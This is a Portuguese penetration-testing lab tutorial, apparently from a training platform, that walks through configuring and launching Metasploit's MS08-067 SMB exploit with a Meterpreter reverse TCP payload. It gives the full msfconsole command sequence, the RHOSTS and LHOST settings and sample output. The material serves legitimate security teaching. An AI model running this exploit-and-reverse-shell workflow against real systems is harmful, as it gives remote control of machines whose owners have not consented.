Introdução
Neste laboratório, você aprenderá os passos fundamentais para usar um payload de reverse shell dentro do Metasploit Framework. Metasploit é uma poderosa ferramenta de teste de penetração que vem com uma vasta biblioteca de exploits, payloads e módulos auxiliares.
Um "payload" é o código que é executado no sistema alvo após um exploit comprometer com sucesso. Um "reverse shell" é um tipo de payload onde a máquina alvo comprometida inicia uma conexão de volta para a máquina do atacante. Esta técnica é frequentemente usada para contornar firewalls que podem bloquear conexões de entrada para o alvo, mas permitem conexões de saída.
Usaremos o payload windows/meterpreter/reverse_tcp. Meterpreter é um payload avançado e rico em recursos que fornece um shell interativo, permitindo ao atacante executar comandos, fazer upload/download de arquivos e realizar muitas outras atividades pós-exploração.
Ao final deste laboratório, você entenderá o fluxo de trabalho para selecionar um exploit, configurar um payload de reverse shell e lançar o ataque.
Selecionar um módulo de exploit para um alvo
Nesta etapa, iniciaremos o console do Metasploit Framework e selecionaremos um módulo de exploit. Um exploit é um pedaço de código que se aproveita de uma vulnerabilidade específica em um sistema. Para este laboratório, usaremos um exploit bem conhecido para fins educacionais.
Primeiro, abra um terminal a partir do seu desktop.
Agora, inicie o console do Metasploit. Usaremos o flag -q para um lançamento "quiet" (silencioso), que suprime o banner de inicialização.
msfconsole -q
Assim que o Metasploit for carregado, você verá o prompt msf6 >. Esta é a interface de linha de comando do Metasploit.
Nossa próxima ação é selecionar um exploit. Usaremos o comando use seguido pelo nome do módulo de exploit. Para este laboratório, visaremos a vulnerabilidade MS08-067, um exploit clássico e confiável para sistemas Windows mais antigos.
Digite o seguinte comando no prompt msf6 >:
use exploit/windows/smb/ms08_067_netapi
Após pressionar Enter, você notará que o prompt muda. Ele agora inclui o nome do exploit selecionado, indicando que você está no contexto deste módulo.
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
Você agora selecionou com sucesso um módulo de exploit e está pronto para configurá-lo.
Definir o payload para windows/meterpreter/reverse_tcp
Nesta etapa, você definirá o payload para o exploit selecionado. Um payload é o código que será executado na máquina alvo após o exploit ser bem-sucedido. Conforme mencionado na introdução, usaremos um payload Meterpreter de reverse TCP.
O Metasploit pode ter definido este payload por padrão ao selecionar o exploit (como visto na saída da etapa anterior), mas é uma boa prática defini-lo explicitamente para garantir que o payload correto esteja configurado.
No prompt msf6 exploit(windows/smb/ms08_067_netapi) >, use o comando set payload:
set payload windows/meterpreter/reverse_tcp
Após executar o comando, o Metasploit confirmará a alteração.
payload => windows/meterpreter/reverse_tcp
Para ver todas as opções que você pode configurar para o exploit e payload selecionados, você pode usar o comando show options. Este é um comando muito útil para ver quais parâmetros são necessários antes de lançar um ataque.
show options
Você verá uma lista de opções do módulo, opções do payload e alvos de exploit. Observe as opções RHOSTS e LHOST, que configuraremos nas próximas etapas.
Definir a opção RHOSTS para o exploit
Nesta etapa, configuraremos a opção RHOSTS. RHOSTS significa "Remote Host(s)" (Host(s) Remoto(s)) e especifica o endereço IP da máquina alvo que você deseja atacar.
Para que qualquer exploit funcione, você deve informar ao Metasploit para onde enviá-lo. O comando set é usado para configurar essas opções.
Em um cenário do mundo real, você teria identificado o endereço IP de um alvo através de reconhecimento. Para este laboratório, usaremos um endereço IP de placeholder.
No prompt msf6 exploit(...) >, defina RHOSTS para 10.0.2.15.
set RHOSTS 10.0.2.15
O Metasploit confirmará que a opção RHOSTS foi definida.
RHOSTS => 10.0.2.15
Agora você informou ao Metasploit qual máquina é o alvo.
Definir a opção LHOST para o seu IP do Kali
Nesta etapa, definiremos a opção LHOST. LHOST significa "Local Host" (Host Local) e deve ser definido para o endereço IP da sua máquina (a máquina do atacante). Este é um passo crucial para um reverse shell, pois informa ao alvo comprometido para onde se conectar de volta.
Para encontrar o endereço IP da sua máquina, você precisará abrir um novo terminal. Não feche o terminal msfconsole existente. Você pode abrir um novo terminal a partir do menu de aplicativos.
No novo terminal, execute o seguinte comando para exibir as informações da sua interface de rede:
ip addr show eth0
Você verá uma saída semelhante a esta. Procure pelo endereço inet, que é o seu IP.
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
No exemplo acima, o endereço IP é 172.17.0.2. Anote o seu endereço IP.
Agora, volte para o seu terminal original com o prompt msfconsole. Use o comando set para configurar LHOST com o endereço IP que você acabou de encontrar. Substitua YOUR_IP_ADDRESS pelo seu IP real.
set LHOST YOUR_IP_ADDRESS
Por exemplo, se o seu IP fosse 172.17.0.2, o comando seria:
set LHOST 172.17.0.2
O Metasploit confirmará a configuração:
LHOST => 172.17.0.2
Todas as opções necessárias estão agora configuradas.
Executar o exploit e aguardar a conexão de retorno do alvo
Nesta etapa, com todas as opções configuradas, você lançará o exploit.
O comando exploit (ou seu alias, run) instrui o Metasploit a iniciar o listener para a conexão reversa e, em seguida, enviar o exploit para o alvo especificado em RHOSTS.
No prompt msf6 exploit(...) >, digite:
exploit
O Metasploit agora tentará executar o exploit contra o alvo. Você verá uma saída como esta:
[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.
Importante: Neste ambiente de laboratório, o exploit falhará porque não há uma máquina vulnerável real no endereço IP de placeholder 10.0.2.15. A saída "Exploit completed, but no session was created" é esperada.
Se este fosse um alvo real e vulnerável, e o exploit fosse bem-sucedido, você veria uma mensagem como "Meterpreter session 1 opened" e seu prompt mudaria para meterpreter >, dando a você controle total sobre o alvo.
Isso completa o processo de configuração e lançamento de um exploit com um payload de reverse shell. Para sair do Metasploit, digite exit.
exit
Resumo
Neste laboratório, você aprendeu o fluxo de trabalho fundamental para usar um payload de reverse shell no Metasploit Framework.
Você praticou os seguintes passos chave:
- Iniciar o console do Metasploit (
msfconsole). - Selecionar um módulo de exploit com o comando
use. - Definir um payload com o comando
set payload. - Configurar as opções necessárias, especificamente
RHOSTS(o alvo) eLHOST(o IP do seu listener). - Lançar o ataque com o comando
exploit.
Você também aprendeu a diferença crítica entre RHOSTS e LHOST e por que definir LHOST corretamente é essencial para o sucesso de um reverse shell. Embora o exploit não tenha resultado em uma sessão neste ambiente simulado, você executou com sucesso todos os comandos necessários para um ataque no mundo real. Parabéns por completar o laboratório!


